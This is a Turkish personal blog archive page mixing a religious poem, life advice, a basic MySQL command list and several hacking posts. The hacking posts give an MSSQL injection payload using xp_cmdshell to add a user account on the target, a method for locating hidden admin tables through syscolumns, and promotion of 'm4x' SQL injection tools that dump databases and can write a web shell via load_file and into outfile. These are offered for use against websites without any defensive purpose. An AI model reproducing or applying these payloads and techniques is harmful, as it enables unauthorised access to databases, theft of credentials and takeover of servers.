Thelinux etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Thelinux etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

29 Mayıs 2016 Pazar

Uyan Gözün Aç

Uyan Gözün Aç

Uyan gözün aç durma yalvar güzel Allah'a

Yolundan izin ayırma yalvar güzel Allah'a


Her geceyi kaaim ol her gündüzü saim ol

Hem zikr ile daim ol yalvar güzel Allah'a


Bir gün bu gözün görmez hem kulağın işitmez

Bu fırsat ele girmez yalvar güzel Allah'a


Aslığı ganimet bil her saati nimet bil

Gizlice ibadet kıl yalvar güzel Allah'a


Ömrünü hiçe sayma kendini oda yakma

Her şam u seher yatma yalvar güzel Allah'a

Devamını okumak için tıklayın
Tepkiler:

11 Mayıs 2016 Çarşamba

Yaşama Anlam Ve Boyut Katan İki şeyin önemi

İki şey "Kalitesiz İnsan" ın özelliğidir :

1- Şikayetçilik

2- Dedikodu

İki şey çözümsüz görünen problemleri bile çözer :

1- Bakış açısını değiştirmek

2- Karşındakinin yerine kendini koyabilmek

İki şey yanlış yapmanı engeller :

1 - Şahıs ve olayları akıl ve kalp süzgecinden geçirmek

2- Hak yememek

İki şey kişiyi gözden düşürür :

1- Demagoji (Laf kalabalıklığı)

2- Kendini ağıra satmak (övmek, vazgeçilmez göstermek)



Tepkiler:

Mysql Komutları

SQL Server üzerinde bir veritabanı oluşturun
mysql> create database [databasename];

SQL Server üzerinde tüm veritabanlarının listesi
mysql> show databases;

Veritabanı tüm tabloları görebilirsiniz
mysql> show tables;

Bir veritabanını silmek için
mysql> drop database [database name];

Bir tablo silmek için
mysql> drop table [table name];

Bir tablodaki tüm verileri gösterir
mysql> SELECT * FROM [table name];

Sum column.
mysql> SELECT SUM(*) FROM [table name];

Yeni bir kullanıcı oluşturma. Login root olarak. MySQL db geçin. Kullanıcı olun. Güncelleme privs.

# mysql -u root -p
mysql> use mysql;
Devamını okumak için tıklayın
Tepkiler:

MsSQL Injection ~ CmdShell Çalıştırma

MsSQL Injection yaparken uzaktan cmdshell çalıştırabiliyoruz.Şu komut ile cmdshelli çalıştırabilmekteyiz. ;exec master..xp_cmdshell ’’-- ’’ bıraktıgım yer size kalan komutların kullanacagınız yer. mesela en basitinden ’’ şu kısımın arasına bizim o meşhur MS SQL password ve user oluşturma komutumuzu kullanabiliriz. ’net user /add Thelinux Thelinux7’ Tamamlayacak olursak ;exec master..xp_cmdshell ’net user / add Thelinux Thelinux7’--
Tepkiler:

Uzun bir aradan sonra

Merhaba arkadaşlar uzun bir aradan sonra tekrar bloguma kaldığım yerden devam etme kararı aldım umarım hayırlı olur..
Sorularınız için sadece mail : info@thelinux.info
Tepkiler:

3 Ağustos 2009 Pazartesi

m4x sql injection tools download








Download m4x Sql Injection Tools







m4x mysql injector demonstration (Nasıl kullanılır video)

m4x mssql injector demonstration (Nasıl kullanılır video)




  • Standart methodların aksine farklı bir yöntem kullanıldığı için m4x mysql injector benzer uygulamaların aksine çok daha hızlı çalışmaktadır.

  • Kullanıcı seçimine bağlı olarak proxy özelliği vardır.

  • Veriler aynı Database management sistemleri veya scriptlerinde olduğu gibi birebir çekilmektedir.

  • Treeview kontrolü kullanıldığı için listeleme işlemlerinizi oldukça kolay yapabilirsiniz.

  • Veriler listelenirken istenilirse limit belirtilir o limit kadar veri çekilir.

  • Verileri ister sondan(desc) ister baştan (asc) olarak çekebilirsiniz.

  • Verileri çekerken progressbar sayesinde işlemin ne kadar kaldığını görebilirsiniz.

  • Çektiğiniz verileri excele aktararak kolaylıkla yönetebilirsiniz.



Devamını okumak için tıklayın
Tepkiler:

MSSQL de Gizli Tablolar

mssql de sysobjectse ulaşmak demek her tablo adına ulaşmak demek değildir.
db admin bazı tabloların sysobjectsde görünmemesini sağlayabilir fakat bu tabloyu okuyamayacağınız manasına gelmez.

misal "select top 1 name from sysobjects where name like '%admin%'" yazdığınızda admin tablosunu vermez fakat "select top 1 asd from admin" yazdığınızda asd diye column bulunamadı, ki bu admin tablosu doğru fakat kolon yanlış demektir.

yani admin tablosu var fakat sysobjects de görünmüyor. peki bu gizli tabloları nasıl çekebiliriz. bilginin gizliliği prensibim olduğu için kodu vermeyeceğim fakat mantığını anlatabilirim.

db admini tablo adlarını saklasa bile kolon adlarını saklayamaz veya saklamaz diyelim, çünkü kolon adlarından yola çıkılacağını hesaplamaz.

peki napabiliriz? syscolumns dan yola çıkıp username password gibi kolonları bulup sonra bu kolon adlarını doğru sql cümlesinde kullanarak o kolon adının tablosunu öğrenebiliriz. tablo sysobjects de görünmese bile biz adını öğrendikten sonra bi önemi yoktur ;)
Tepkiler:

22 Haziran 2009 Pazartesi

m4x mysql injector demonstration



m4x mysql injector demonstration
  • Standart methodların aksine farklı bir yöntem kullanıldığı için m4x mysql injector benzer uygulamaların aksine çok daha hızlı çalışmaktadır.

  • Kullanıcı seçimine bağlı olarak proxy özelliği vardır.

  • Veriler aynı Database management sistemleri veya scriptlerinde olduğu gibi birebir çekilmektedir.

  • Treeview kontrolü kullanıldığı için listeleme işlemlerinizi oldukça kolay yapabilirsiniz.

  • Veriler listelenirken istenilirse limit belirtilir o limit kadar veri çekilir.

  • Verileri ister sondan(desc) ister baştan (asc) olarak çekebilirsiniz.

  • Verileri çekerken progressbar sayesinde işlemin ne kadar kaldığını görebilirsiniz.

  • Çektiğiniz verileri excele aktararak kolaylıkla yönetebilirsiniz.

  • Daha önce listelediğiniz db yapısını kaydederek, daha sonraki kullanımlarda tekrar tekrar aynı işlemleri yapmanıza gerek kalmadan yükleyebilirsiniz.

  • m4x mysql ile db kullanıcısı dosya izinlerine sahip ise , load_file, into outfile ve into dumpfile fonksiyonlarını çalıştırabilirsiniz. Load file ile istediğiniz dosyayı okuyup, into out file ile de istediğiniz dizine shell'inizi yazdırabilirsiniz.

  • Magic Quotes Gpc ' den etkilenmez. On veya off farketmez.


  • H4ckinger e teşekkürler

    kaynak: http://h4ckinger.org
    Tepkiler: